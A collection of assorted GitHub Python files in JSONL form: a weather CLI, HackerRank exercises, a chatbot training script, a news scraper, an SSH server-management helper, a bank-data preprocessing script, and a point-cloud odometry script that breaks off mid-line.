+{"seq_id":"38063075168","text":"import asyncio\nfrom enum import Enum\nfrom typing import Coroutine, List, Union\n\nfrom typer import Argument, Exit, Option, Typer, echo\n\nfrom weather_command import settings_commands\nfrom weather_command._builder import show_current, show_daily, show_hourly\nfrom weather_command._cache import Cache\nfrom weather_command._config import console, load_settings\nfrom weather_command._location import build_location_url, get_location_details\nfrom weather_command._utils import build_weather_url\nfrom weather_command._weather import get_current_weather, get_one_call_weather\n\n__version__ = \"6.1.3\"\n\napp = Typer()\napp.add_typer(settings_commands.app, name=\"settings\", help=\"Manage saved settings.\")\n\n\nclass ForecastType(str, Enum):\n    CURRENT = \"current\"\n    DAILY = \"daily\"\n    HOURLY = \"hourly\"\n\n\nclass How(str, Enum):\n    CITY = \"city\"\n    ZIP = \"zip\"\n\n\nasync def _preload_cache(\n    how: str,\n    city_zip: str,\n    state_code: Union[str, None],\n    country_code: Union[str, None],\n    units: str,\n) -> None:\n    with console.status(\"Getting weather...\"):\n        retrieve: List[Coroutine] = []\n        location_url = build_location_url(how, city_zip, state_code, country_code)\n        cache = Cache()\n        cache_hit = cache.get(location_url)\n        if cache_hit:\n            if cache_hit.location:\n                location = cache_hit.location\n            else:  # pragma: no cover\n                # This is a fail safe. It should only be possible to get here if someone manually\n                # modified the cache file.\n                location = get_location_details(\n                    how=\"zip\", city_zip=city_zip, state=state_code, country=country_code\n                )\n\n            if not cache_hit.current_weather:\n                url = build_weather_url(\n                    forecast_type=\"current\",\n                    units=units,\n                    lon=location.lon,\n                    lat=location.lat,\n                )\n                retrieve.append(get_current_weather(url, location_url))\n            if not cache_hit.one_call_weather:\n                url = build_weather_url(\n                    forecast_type=\"daily\", units=units, lon=location.lon, lat=location.lat\n                )\n                retrieve.append(get_one_call_weather(url, location_url))\n        else:\n            location = get_location_details(\n                how=how, city_zip=city_zip, state=state_code, country=country_code\n            )\n\n            url = build_weather_url(\n                forecast_type=\"current\", units=units, lon=location.lon, lat=location.lat\n            )\n            retrieve.append(get_current_weather(url, location_url))\n\n            url = build_weather_url(\n                forecast_type=\"daily\", units=units, lon=location.lon, lat=location.lat\n            )\n            retrieve.append(get_one_call_weather(url, location_url))\n\n        if retrieve:\n            await asyncio.gather(*retrieve)\n\n\nasync def _runner(\n    how: str,\n    city_zip: str,\n    state_code: Union[str, None],\n    country_code: Union[str, None],\n    imperial: bool,\n    am_pm: bool,\n    forecast_type: ForecastType,\n    temp_only: bool,\n    pager: bool,\n    clear_cache: bool,\n    terminal_width: Union[int, None],\n) -> None:\n    settings = load_settings()\n\n    if not imperial and settings.imperial is not None:\n        units = \"imperial\" if settings.imperial else \"metric\"\n    else:\n        units = \"imperial\" if imperial else \"metric\"\n\n    if not temp_only and settings.temp_only is not None:\n        temp_only_choice = settings.temp_only\n    else:\n        temp_only_choice = temp_only\n\n    if not am_pm and settings.am_pm is not None:\n        am_pm_choice = settings.am_pm\n    else:\n        am_pm_choice = am_pm\n\n    if clear_cache:\n        cache = Cache()\n        cache.clear()\n\n    if not clear_cache:\n        await _preload_cache(how, city_zip, state_code, country_code, units)\n\n    if forecast_type == \"current\":\n        await show_current(\n            how=how,\n            city_zip=city_zip,\n            units=units,\n            state_code=state_code,\n            country_code=country_code,\n            am_pm=am_pm_choice,\n            temp_only=temp_only_choice,\n            pager=pager,\n            terminal_width=terminal_width,\n        )\n    elif forecast_type == \"daily\":\n        await show_daily(\n            how=how,\n            city_zip=city_zip,\n            units=units,\n            state_code=state_code,\n            country_code=country_code,\n            am_pm=am_pm_choice,\n            temp_only=temp_only_choice,\n            pager=pager,\n            terminal_width=terminal_width,\n        )\n    elif forecast_type == \"hourly\":\n        await show_hourly(\n            how=how,\n            city_zip=city_zip,\n            units=units,\n            state_code=state_code,\n            country_code=country_code,\n            am_pm=am_pm_choice,\n            temp_only=temp_only_choice,\n            pager=pager,\n            terminal_width=terminal_width,\n        )\n\n\n@app.command()\ndef city(\n    city: str = Argument(\n        ...,\n        help=\"The city for which the weather should be retrieved.\",\n    ),\n    state_code: Union[str, None] = Option(\n        None, \"--state-code\", \"-s\", help=\"The name of the state where the city is located.\"\n    ),\n    country_code: Union[str, None] = Option(\n        None,\n        \"--country-code\",\n        \"-c\",\n        help=\"The country code where the city is located.\",\n    ),\n    imperial: bool = Option(\n        False,\n        \"--imperial\",\n        \"-i\",\n        help=\"If this flag is used the units will be imperial, otherwise units will be metric.\",\n    ),\n    am_pm: bool = Option(\n        False,\n        \"--am-pm\",\n        help=\"If this flag is set the times will be displayed in 12 hour format, otherwise times will be 24 hour format.\",\n    ),\n    forecast_type: ForecastType = Option(\n        ForecastType.CURRENT,\n        \"--forecast-type\",\n        \"-f\",\n        help=\"The type of forecast to display.\",\n    ),\n    temp_only: bool = Option(\n        False, \"--temp-only\", \"-t\", help=\"If this flag is set only tempatures will be displayed.\"\n    ),\n    pager: bool = Option(False, \"--pager\", \"-p\", help=\"Display the results in a pager.\"),\n    clear_cache: bool = Option(False, help=\"Clear the cache data before running.\"),\n    terminal_width: Union[int, None] = Option(\n        None, help=\"Allows for overriding the default terminal width.\"\n    ),\n) -> None:\n    \"\"\"Get the weather by city.\"\"\"\n    asyncio.run(\n        _runner(\n            how=\"city\",\n            city_zip=city,\n            state_code=state_code,\n            country_code=country_code,\n            imperial=imperial,\n            am_pm=am_pm,\n            forecast_type=forecast_type,\n            temp_only=temp_only,\n            pager=pager,\n            clear_cache=clear_cache,\n            terminal_width=terminal_width,\n        )\n    )\n\n\n@app.command()\ndef zip(\n    zip_code: str = Argument(\n        ...,\n        help=\"The zip code for which the weather should be retrieved.\",\n    ),\n    state_code: Union[str, None] = Option(\n        None, \"--state-code\", \"-s\", help=\"The name of the state where the city is located.\"\n    ),\n    country_code: Union[str, None] = Option(\n        None,\n        \"--country-code\",\n        \"-c\",\n        help=\"The country code where the city is located.\",\n    ),\n    imperial: bool = Option(\n        False,\n        \"--imperial\",\n        \"-i\",\n        help=\"If this flag is used the units will be imperial, otherwise units will be metric.\",\n    ),\n    am_pm: bool = Option(\n        False,\n        \"--am-pm\",\n        help=\"If this flag is set the times will be displayed in 12 hour format, otherwise times will be 24 hour format.\",\n    ),\n    forecast_type: ForecastType = Option(\n        ForecastType.CURRENT,\n        \"--forecast-type\",\n        \"-f\",\n        help=\"The type of forecast to display.\",\n    ),\n    temp_only: bool = Option(\n        False, \"--temp-only\", \"-t\", help=\"If this flag is set only tempatures will be displayed.\"\n    ),\n    pager: bool = Option(False, \"--pager\", \"-p\", help=\"Display the results in a pager.\"),\n    clear_cache: bool = Option(False, help=\"Clear the cache data before running.\"),\n    terminal_width: Union[int, None] = Option(\n        None, help=\"Allows for overriding the default terminal width.\"\n    ),\n) -> None:\n    \"\"\"Get the weather by zip code.\"\"\"\n    asyncio.run(\n        _runner(\n            how=\"zip\",\n            city_zip=zip_code,\n            state_code=state_code,\n            country_code=country_code,\n            imperial=imperial,\n            am_pm=am_pm,\n            forecast_type=forecast_type,\n            temp_only=temp_only,\n            pager=pager,\n            clear_cache=clear_cache,\n            terminal_width=terminal_width,\n        )\n    )\n\n\n@app.callback(invoke_without_command=True)\ndef main(\n    version: Union[bool, None] = Option(\n        None,\n        \"--version\",\n        \"-v\",\n        is_eager=True,\n        help=\"Show the installed version\",\n    ),\n) -> None:\n    if version:\n        echo(__version__)\n        raise Exit()\n\n\nif __name__ == \"__main__\":\n    app()\n","repo_name":"sanders41/weather-command","sub_path":"weather_command/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":9084,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"16"}
+{"seq_id":"12467550131","text":"nA=int(input())\na=set(map(int,input().split()))\nn=int(input())\nfor _ in range(n):\n    setCommand,num=input().split()\n    b=set(map(int,input().split()))\n    if setCommand=='intersection_update':\n        a&=b \n    elif setCommand=='update':\n        a|=b \n    elif setCommand=='difference_update':\n        a-=b \n    elif setCommand=='symmetric_difference_update':\n        a^=b\nprint(sum(a))\n\n#input data\n'''\n16\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 24 52\n4\nintersection_update 10\n2 3 5 6 8 9 1 4 7 11\nupdate 2\n55 66\nsymmetric_difference_update 5\n22 7 35 62 58\ndifference_update 7\n11 22 35 55 58 62 66\n'''\n#expect output 38","repo_name":"ruvamd/Hacker_Rank_practice_code","sub_path":"hr Set Mutations(update()).py","file_name":"hr Set Mutations(update()).py","file_ext":"py","file_size_in_byte":615,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"11022347631","text":"\n# Configure models\nmodel_name = 'cb_model'\nattn_model = 'dot'\n# attn_model = 'general'\n# attn_model = 'concat'\nhidden_size = 500\nencoder_n_layers = 2\ndecoder_n_layers = 2\ndropout = 0.1\nbatch_size = 64\n\n# Set checkpoint to load from; set to None if starting from scratch\nloadFilename = None\ncheckpoint_iter = 4000\n# loadFilename = os.path.join(save_dir, model_name, corpus_name,\n#                            '{}-{}_{}'.format(encoder_n_layers, decoder_n_layers, hidden_size),\n#                            '{}_checkpoint.tar'.format(checkpoint_iter))\n\n\n# Load model if a loadFilename is provided\nif loadFilename:\n    # If loading on same machine the model was trained on\n    checkpoint = torch.load(loadFilename)\n    # If loading a model trained on GPU to CPU\n    # checkpoint = torch.load(loadFilename, map_location=torch.device('cpu'))\n    encoder_sd = checkpoint['en']\n    decoder_sd = checkpoint['de']\n    encoder_optimizer_sd = checkpoint['en_opt']\n    decoder_optimizer_sd = checkpoint['de_opt']\n    embedding_sd = checkpoint['embedding']\n    voc.__dict__ = checkpoint['voc_dict']\n\nprint('Building encoder and decoder ...')\n# Initialize word embeddings\nembedding = nn.Embedding(voc.num_words, hidden_size)\nif loadFilename:\n    embedding.load_state_dict(embedding_sd)\n# Initialize encoder & decoder models\nencoder = EncoderRNN(hidden_size, embedding, encoder_n_layers, dropout)\ndecoder = LuongAttnDecoderRNN(attn_model, embedding, hidden_size, voc.num_words, decoder_n_layers, dropout)\n############################################\n## hereeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee ##\n############################################\nif loadFilename:\n    encoder.load_state_dict(encoder_sd)\n    decoder.load_state_dict(decoder_sd)\n# Use appropriate device\nencoder = encoder.to(device)\ndecoder = decoder.to(device)\nprint('Models built and ready to go!')\n\n######################################################################\n# Run Training\n# ~~~~~~~~~~~~\n\n# Run the following block if you want to train the model.\n#\n# First we set training parameters, then we initialize our optimizers, and\n# finally we call the ``trainIters`` function to run our training\n# iterations.\n\n\n# Configure training/optimization\nclip = 50.0\nteacher_forcing_ratio = 1.0\nlearning_rate = 0.0001\ndecoder_learning_ratio = 5.0\nn_iteration = 4000\nprint_every = 1\nsave_every = 500\n\n# Ensure dropout layers are in train mode\nencoder.train()\ndecoder.train()\n\n# Initialize optimizers\nprint('Building optimizers ...')\nencoder_optimizer = optim.Adam(encoder.parameters(), lr=learning_rate)\ndecoder_optimizer = optim.Adam(decoder.parameters(), lr=learning_rate * decoder_learning_ratio)\nif loadFilename:\n    encoder_optimizer.load_state_dict(encoder_optimizer_sd)\n    decoder_optimizer.load_state_dict(decoder_optimizer_sd)\n\n# If you have cuda, configure cuda to call\nfor state in encoder_optimizer.state.values():\n    for k, v in state.items():\n        if isinstance(v, torch.Tensor):\n            state[k] = v.cuda()\n\nfor state in decoder_optimizer.state.values():\n    for k, v in state.items():\n        if isinstance(v, torch.Tensor):\n            state[k] = v.cuda()\n\n# Run training iterations\nprint(\"Starting Training!\")\ntrainIters(model_name, voc, pairs, encoder, decoder, encoder_optimizer, decoder_optimizer,\n           embedding, encoder_n_layers, decoder_n_layers, save_dir, n_iteration, batch_size,\n           print_every, save_every, clip, corpus_name, loadFilename, L)\n\n######################################################################\n# Run Evaluation\n# ~~~~~~~~~~~~~~\n#\n# To chat with your model, run the following block.\n#\n\n# Set dropout layers to eval mode\nencoder.eval()\ndecoder.eval()\n\n# Initialize search module\nsearcher = GreedySearchDecoder(encoder, decoder)\n\n# Begin chatting (uncomment and run the following line to begin)\n# evaluateInput(encoder, decoder, searcher, voc)\n\n","repo_name":"SamanJamalAbbasi/DRESS_DeepRL","sub_path":"src/dress/methods/seq2seq-run.py","file_name":"seq2seq-run.py","file_ext":"py","file_size_in_byte":3855,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"39487526827","text":"import itertools\n\nnatuals = itertools.count(1)\nfor i in natuals:\n    print(i)\n    if i > 10:\n        break\n\nn = itertools.repeat('h',4)\nfor i in n:\n    print(i)\n\nnatuals1 = itertools.count(1)\nns = itertools.takewhile(lambda x: x <= 10, natuals1)\nprint(list(ns))\n\nfor j in itertools.chain('abc', '123'):\n    print(j)\n\nfor key, group in itertools.groupby('knknvvknf'):\n    print(key, list(group))\n\nfor key, group in itertools.groupby('knknvvknf', lambda v: v.upper()):\n    print(key, list(group))\n\n\nfrom functools import reduce\ndef pi(N):\n    #' 计算pi的值 '\n    # step 1: 创建一个奇数序列: 1, 3, 5, 7, 9, ...\n    pie = itertools.takewhile(lambda x: x < (2 * N), itertools.count(1))\n    pie1 = list(filter(lambda x: x % 2 != 0, pie))\n    # step 2: 取该序列的前N项: 1, 3, 5, 7, 9, ..., 2*N-1.\n    def f():\n        y = [-1]\n        def g():\n            y[0] *= -1\n            return y[0]\n        return g\n\n    def f1(x):\n        return 4/x\n    pie2 = list(map(f1, pie1))\n    vb = f()\n    ff = [vb() for _ in range(N)]\n    # pie11 = [x * y for x in pie2 for y in ff]\n    # print(pie2)\n    # print(ff)\n    # print([pie2[l] * ff[l] for l in range(N)])\n    # step 3: 添加正负符号并用4除: 4/1, -4/3, 4/5, -4/7, 4/9, ...\n    def adds(m, n):\n        return m + n\n    # step 4: 求和:\n    return reduce(adds, [pie2[l] * ff[l] for l in range(N)])\n    #return pie3\nprint(pi(10))","repo_name":"chenyb-hov/my_demo","sub_path":"demo/Python3.9/Python jinjie/page/itertools.py","file_name":"itertools.py","file_ext":"py","file_size_in_byte":1393,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"5232655443","text":"from bs4 import BeautifulSoup\n\nqtypes = {\"person\":[\"who\"], \"place\":[\"where\"]}\npersons = [\"who\"]\nlocations = [\"what\", \"where\"]\n\nclass Stanfordnlp:\n\n    def __init__(self):\n        super().__init__()\n        self.q_story = []\n        self.story = \"\"\n    \n    def make_lower(self, q_story):\n        for x,y in q_story:\n            self.q_story.append([x.lower(),y.lower()])\n\n    def make_story(self, q_story):\n        self.make_lower(q_story)        \n        #print(q_story)\n        for sentence in self.q_story:\n            #print(sentence)\n            integrated_sentence = \"\"\n            if any(x in str(sentence[0].lower()) for x in persons):\n                integrated_sentence = sentence[0].replace(\"who\",sentence[1])\n            elif any(x in str(sentence[0].lower()) for x in locations):\n                if \"is\" in sentence[0]:\n                    integrated_sentence = sentence[0].replace(\"where \",\"\").replace(\"is \", \"\") +\" is in \"+ sentence[1]+ \". \"\n                elif \"are\" in sentence[0]:\n                    integrated_sentence = sentence[0].replace(\"where \",\"\").replace(\"are \", \"\") +\" are in \"+ sentence[1]+ \". \"\n                else:\n                     integrated_sentence = sentence[0].replace(\"where\",\"\") +\" in \"+ sentence[1]+ \". \"\n            else:\n                integrated_sentence = \"Error.\"\n            self.story+=str(integrated_sentence)\n        print(self.story)\n\n    def solve_anaphora(self, story):\n        #http://nlp.stanford.edu:8080/corenlp/process\n        #self.story = story\n        #print(self.story)\n        pass\n    #print(story)\n    \n\n","repo_name":"Pepijnnn/google_qa_scrape","sub_path":"stanford_nlp.py","file_name":"stanford_nlp.py","file_ext":"py","file_size_in_byte":1574,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"38117509823","text":"# coding=utf-8\nimport requests\nfrom fake_useragent import UserAgent\nfrom lxml import etree\nimport random\n\nrequests.packages.urllib3.disable_warnings()\n\n\ndef crawel_zgcnews(url, headers, proxy):\n    res = requests.get(url, headers=headers, verify=False,\n                       timeout=15, proxies=proxy)\n    # print(res.text)\n    return res.text\n\n\ndef parse_news(html):\n    tree = etree.HTML(html)\n    # for i in range(1, 15):\n    #     title_xpath = f'//*[@id=\"list - v - 1 \"]/ul/li[{i}]/p/a'\n    #     href_xpath = f'//*[@id=\"list-v-1\"]/ul/li/p[{i}]/a/@href'\n    #     title = tree.xpath(title_xpath)\n    #     href = tree.xpath(href_xpath)\n    href_xpath = '//*[@id=\"list-v-1\"]/ul/li/p/a/@href'\n    href_list = tree.xpath(href_xpath)\n    print(href_list)\n    return href_list\n\n\ndef crawel_zgcnews_content(href, headers, proxy):\n    res = requests.get(href, headers=headers, verify=False,\n                       timeout=15, proxies=proxy)\n    # print(res.text)\n    return res.text\n\n\ndef parse_content(html_content):\n    tree = etree.HTML(html_content)\n    # title_xpath = \"/html/body/div[5]/div/div[1]/div[1]/h1\"\n    title_xpath = \"//*[@class=\\\"article-header clearfix\\\"]/h1/text()\"\n    content_xpath = '//*[@id=\"article-content\"]/div/p/text()'\n    title = tree.xpath(title_xpath)\n    print(title)\n    content = tree.xpath(content_xpath)\n    content_dict = {f'{title}': f'{content}'}\n    return content_dict\n\n\ndef main(url, headers, proxy):\n    content_list = []\n    html = crawel_zgcnews(url, headers, proxy)\n    href_list1 = parse_news(html)\n    for href in href_list1:\n        href = \"http:\" + str(href)\n        html_content = crawel_zgcnews_content(href, headers, proxy)\n        content_dict = parse_content(html_content)\n        content_list.append(content_dict)\n        print(content_list)\n\n\nif __name__ == '__main__':\n    url = \"http://news.zol.com.cn/\"\n    # url = \"http://www.baidu.com\"\n    user_agent = UserAgent()\n    ua = user_agent.random\n    headers = {\n        \"user_agent\": ua\n    }\n    # proxy = {\"http\": \"http://47.75.90.57:80\"}\n    proxy = {\"http\": \"http://191.101.39.27:80\"}\n    # proxy = {\"http\": \"http://191.101.39.154:80\"}\n    proxy_list = [{'http': 'http://41.90.98.246:8080'},{'http': 'http://39.100.18.200:8080'}, {'http': 'http://218.59.139.238:80'},\n                  {'http': 'http://39.106.223.134:80'}, {'http': 'http://78.47.16.54:80'},\n                  {'http': 'http://5.196.23.219:80'},\n                  {'http': 'http://191.101.39.154:80'}, {'http': 'http://5.39.17.96:80'},\n                  {'http': 'http://51.158.172.165:8811'}, {'http': 'http://152.67.24.187:80'},\n                  {'http': 'http://161.35.4.201:80'}, {'http': 'http://205.141.197.38:8080'}]\n    try:\n        main(url, headers, proxy)\n    except requests.exceptions.ProxyError:\n        proxy = proxy_list[random.randint(0, len(proxy_list) - 1)]\n        print(proxy)\n        main(url, headers, proxy)\n    # except Exception as e:\n    #     print(e)\n","repo_name":"myron123456/python_project","sub_path":"python爬虫/news spider/crawel_zgcdn.py","file_name":"crawel_zgcdn.py","file_ext":"py","file_size_in_byte":2959,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"30887954595","text":"import subprocess\nimport time\nimport typing as T\n\nimport app.logger\n\nSSH_OPTIONS = [\n    '-o',\n    'StrictHostKeyChecking=no',\n    '-o',\n    'UserKnownHostsFile=/dev/null',\n    '-i',\n    '~/.keys/tp.key',\n]\n\n\nclass ScriptRunner:\n    def __init__(self, address: str) -> None:\n        self.address = 'ec2-user@' + address\n        self.logger = app.logger.Logger()\n\n    def log(self, message: str) -> None:\n        self.logger.log(message)\n\n    # Public methods\n\n    def start(self) -> None:\n        self.wait_for_server()\n        self.run_remote(\n            'sudo ln -sf /usr/share/zoneinfo/America/Los_Angeles /etc/localtime',\n            'sudo yum update -y',\n            'sudo reboot now',\n        )\n        self.wait_for_server()\n        self.run_remote(\n            'sudo yum install -y git jre screen emacs',\n            'git clone https://github.com/siddpuri/papaya.git',\n            'ln -sf papaya/bashrc .bashrc',\n            'sudo mkdir /mc',\n            'sudo mount /dev/nvme1n1 /mc',\n            'start',\n            # 'nohup watch &',\n        )\n\n    def warn_all(self, message: str) -> None:\n        self.warn(['say'], message)\n\n    def warn_users(self, users: T.List[str], message: str) -> None:\n        self.warn([f'tell {u}' for u in users], message)\n\n    def stop(self) -> None:\n        self.run_remote('stop')\n\n    # Implementation\n\n    def wait_for_server(self) -> None:\n        self.log('Waiting for server')\n        while True:\n            if self.ssh(['-o', 'ConnectTimeout=1'], 'ls').returncode == 0:\n                return\n\n    def warn(self, commands: T.List[str], message: str) -> None:\n        for t in range(5, 0, -1):\n            m = 'minutes' if t > 1 else 'minute'\n            self.run_remote(*(f'mc {c} {message} in {t} {m}' for c in commands))\n            time.sleep(59)\n        self.run_remote(*(f'mc {c} {message} now!' for c in commands))\n\n    def run_remote(self, *commands: str) -> None:\n        for c in commands:\n            self.log(f'Running: {c}')\n            self.ssh([], c)\n\n    def ssh(self, options: T.List[str], command: str) -> T.Any:\n        args = ['ssh'] + SSH_OPTIONS + options + [self.address, command]\n        return subprocess.run(args, capture_output=True, check=False)\n","repo_name":"siddpuri/papaya","sub_path":"app/script_runner.py","file_name":"script_runner.py","file_ext":"py","file_size_in_byte":2226,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"8713566458","text":"def indexof(e,arr):\n    for i in range(len(arr)):\n        if e in arr[i]:\n            return [i,arr[i].index(e)]\ndef position(x,y):\n    \n\n    if x<0:\n        xvalue='UP\\n'\n    elif x>0:\n        xvalue='DOWN\\n'\n    elif x==0:\n        xvalue=''\n\n    if y<0:\n        yvalue='LEFT\\n'\n    elif y>0:\n        yvalue='RIGHT\\n'\n    elif y==0:\n        yvalue=''    \n\n\n    return ''+abs(x)*xvalue+abs(y)*yvalue\n\n        \ndef displayPathtoPrincess(n,grid):\n#print all the moves here\n\n    x=indexof(\"p\",grid)[0]-indexof(\"m\",grid)[0]\n    y=indexof(\"p\",grid)[1]-indexof(\"m\",grid)[1]\n    print(position(x,y))\n\nm = int(input())\ngrid = [] \nfor i in range(0, m): \n    grid.append(input().strip())\n\ndisplayPathtoPrincess(m,grid)","repo_name":"abinthekkanath/Artificial-Inteligence-Hackerrank-Solutions","sub_path":"BotSavesPrincess.py","file_name":"BotSavesPrincess.py","file_ext":"py","file_size_in_byte":708,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"9610538980","text":"# This program assume the input.csv data set is the bank data set found in:\n# It assume the data set is the bank direct marking data set found in: \n#       https://www.kaggle.com/psvishnu/bank-direct-marketing\n# This program reads in 'input.csv' into a dataframe and then cleans it to prepare for association rules as follows:\n# a) leaves things as strings, NOT numerical data\n# b) converts numerical data into strings.  For example, balance converted to one of \"very negative, negative, positive, very positive\".  Similar for age\n# c) changes yes/no for housing, default, and loan into:  housingYes/housingNo etc (so they are distinguishable from the other columns)\n\nimport numpy as np\nimport pandas as pd\nfrom sklearn import tree\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.metrics import *\nfrom sklearn.naive_bayes import *\n# from sklearn.naive_bayes import GaussianNB\n# from sklearn.naive_bayes import MultinomialNB\n# from sklearn.naive_bayes import MultinomialNB\n\n\npd.set_option('display.max_columns', None)\npd.set_option('max_columns', None)\npd.set_option('max_rows', None)\npd.options.display.width = 0   # automatically ajust to window length\n\ndf = pd.read_csv('input.csv')\n\nprint(\"\\n\\nOriginal data set:\")\nprint( df.head() )\n\n\ndf = df.drop('pdays',axis=1)\n\nfor index, row in df.iterrows():\n\tif row['balance'] < 0:\n\t\trow['balance'] = 'inDebt'\n\telse:\n\t\trow['balance'] = 'notInDebt'\n\t\ndf.loc[( df['balance'] >= 10000), 'balanceSummary'] = 'veryPositive' \ndf.loc[( (df['balance'] < 0) & (df['balance'] >= -10000)), 'balanceSummary'] = 'negative' \ndf.loc[( (df['balance'] < 10000) & (df['balance'] >= 0)), 'balanceSummary'] = 'positive' \ndf.loc[df['balance'] < -500, 'balanceSummary'] = 'veryNegative' \n\n\ndf.loc[( (df['age'] < 25) & (df['age'] >= 0)),  'ageBand'] = 'ageBand1' \ndf.loc[( (df['age'] < 30) & (df['age'] >= 25)), 'ageBand'] = 'ageBand2' \ndf.loc[( (df['age'] < 40) & (df['age'] >= 30)), 'ageBand'] = 'ageBand3' \ndf.loc[( (df['age'] < 50) & (df['age'] >= 40)), 'ageBand'] = 'ageBand4' \ndf.loc[( (df['age'] < 120) & (df['age'] >= 50)),'ageBand'] = 'ageBand5' \n\ndf.loc[ (df['default'] == 'no'), 'defaultValue'] = 'defaultNo' \ndf.loc[ (df['default'] == 'yes'), 'defaultValue'] = 'defaultYes' \ndf.loc[ (df['housing'] == 'no'), 'housingVal'] = 'houseNo' \ndf.loc[ (df['housing'] == 'yes'), 'housingVal'] = 'houseYes' \ndf.loc[ (df['loan'] == 'no'), 'loanVal'] = 'loanNo' \ndf.loc[ (df['loan'] == 'yes'), 'loanVal'] = 'loanYes' \n\n\n\n# df['balanceSummary'] = df['balance'].apply(lambda x: 'negative' if x <= 0 else 'positive')\n# df['balanceSummary'] = df['balance'].apply(lambda x: 'negative' if x <= 0 else 'positive')\n\n# print(\"df['balance'].max() = \" + str( df['balance'].max() ))\n\n\n# df['balance'] = (df['balance'] - df['balance'].min()) / ( df['balance'].max() - df['balance'].min() )\n# df['balance'] = 100.0 * (df['balance'] - df['balance'].min()) / ( df['balance'].max() - df['balance'].min() )\nprint(\"\\n\\nAfter converting to numeric, dropping pdays, and normalizing balance:\")\nprint( df.head(10) )\n\n\n# now drop stuff that is not a string\n\n# Y = df['y']\n# df = df.drop('y',axis=1)   # do not drop yes/no so you can make then subset rules into those that show \"yes\" versus \"no\"\ndf = df.drop('age',axis=1)\ndf = df.drop('day',axis=1)\ndf = df.drop('duration',axis=1)\ndf = df.drop('balance',axis=1)\ndf = df.drop('campaign',axis=1)\ndf = df.drop('previous',axis=1)\ndf = df.drop('default',axis=1)\ndf = df.drop('housing',axis=1)\ndf = df.drop('loan',axis=1)\n\nprint(\"\\n\\nFinal df:\")\nprint( df.head(100) )\n\n\ndf.to_csv('outfile.csv',index = False )\n","repo_name":"DuncanFerguson/GITHUB_REPOSITORY","sub_path":"DU_MSDS/Data_Mining/Assignments/Assignment_3/startForAssociationRules.py","file_name":"startForAssociationRules.py","file_ext":"py","file_size_in_byte":3568,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"16"}
+{"seq_id":"20542957223","text":"from repeatability_utils import *\n\n\nopt_detector = get_repeatiblity_options()\nargs = opt_detector# .opt# parser.parse_args()\n\n\n\n\nkeypoint_extractor_name =  args.method\n    \nseq_name = args.dataset+\"_\"+args.sequence_idx + \"_\" + keypoint_extractor_name\n#if args.method =='ramdom' or args.method =='uniform' :\n#seq_name+= \"_\" + str(args.num_icp_points)\n###########################################\nfor_idx=-1\nframe_limit=-1\n\n\nfor_idx=-1\n\ncurr_transform = np.identity(4)\n\nnum_frames = 600\nnum_frames_to_skip_to_show = 1\n# Result saver\nsave_dir = \"result/\" + args.sequence_idx\nif not os.path.exists(save_dir): os.makedirs(save_dir)\nResultSaver = PoseGraphResultSaver(init_pose=curr_transform, \n                             save_gap=args.save_gap,\n                             num_frames=num_frames,\n                             seq_idx=args.sequence_idx,\n                             save_dir=save_dir)\n\n# for save the results as a video\nfig_idx = 1\nfig = plt.figure(fig_idx)\n\n\n\n\ndef execute_odometry(keypoint_extraction_fn, dataset_fn_itr, opt_detector, ResultSaver, stop_frame_id=600, num_frames_to_skip_to_show=5):\n    \n    \n    farthest_sampler = FarthestSampler()\n    keypoint_extraction_times=[]\n    keypoint_counts = []\n    matching_times = []\n    absoulte_trajectory_errors=[]\n    print(opt_detector.method)  \n    fig_idx=1  \n    \n    try:\n        for  i, data in dataset_fn_itr(opt_detector, 0):\n            if stop_frame_id !=-1:            \n                if i > stop_frame_id:\n                    break\n                \n            anc_pc, anc_sn, anc_node, seq, anc_idx, gt_pose_curr = data\n            b=0 # assume single batch\n            \n            frame_pc_np = np.transpose(anc_pc[b].detach().numpy())  # Nx3\n            \n            curr_pcd = o3d.geometry.PointCloud()\n            curr_pcd.points = o3d.utility.Vector3dVector(frame_pc_np) \n            #for i in range(stop_frame_id):\n            #curr_pcd, (anc_pc, anc_sn, anc_node, gt_pose_curr)=dataset_fn(opt_detector, i)\n\n            \n            curr_pcd_kps, curr_extract_time = keypoint_extraction_fn(curr_pcd, anc_pc, anc_sn, anc_node, farthest_sampler, opt_detector)\n            \n            curr_gt_transf = gt_pose_curr \n\n            keypoint_extraction_times.append(curr_extract_time)\n            \n            keypoint_counts.append(len(curr_pcd_kps.points))        \n            \n            if i ==0:\n                prev_pcd_kps = copy.deepcopy(curr_pcd_kps)\n                prev_pcd = copy.deepcopy(curr_pcd)\n                icp_initial = np.eye(4)\n                curr_transform = np.eye(4)\n                \n                #Setting first matching time to zero, as no matching required\n                matching_times.append(0)             \n                continue            \n\n            # get the start time\n            start_time = time.time()\n\n            compute_transform\n                \n            # calc odometry                \n            odom_transform = compute_transform(np.asarray(prev_pcd_kps.points), np.asarray(curr_pcd_kps.points), icp_initial)\n\n            \n            # get the end time\n            end_time = time.time()        \n\n            # get the execution time\n            elapsed_time = 1000 * (end_time - start_time)\n            matching_times.append(elapsed_time)\n\n            # update the current (moved) pose \n            curr_transform = np.matmul(curr_transform, odom_transform)\n\n            icp_initial = odom_transform # assumption: constant velocity model (for better next ICP converges)\n\n\n            # renewal the prev information \n            prev_pcd_kps = copy.deepcopy(curr_pcd_kps)\n            prev_pcd = copy.deepcopy(curr_pcd)\n            \n            \n            # save the ICP odometry pose result (no loop closure)\n            for_idx = i\n            ResultSaver.saveUnoptimizedPoseGraphResult(curr_transform, curr_gt_transf, for_idx) \n            curr_ate = 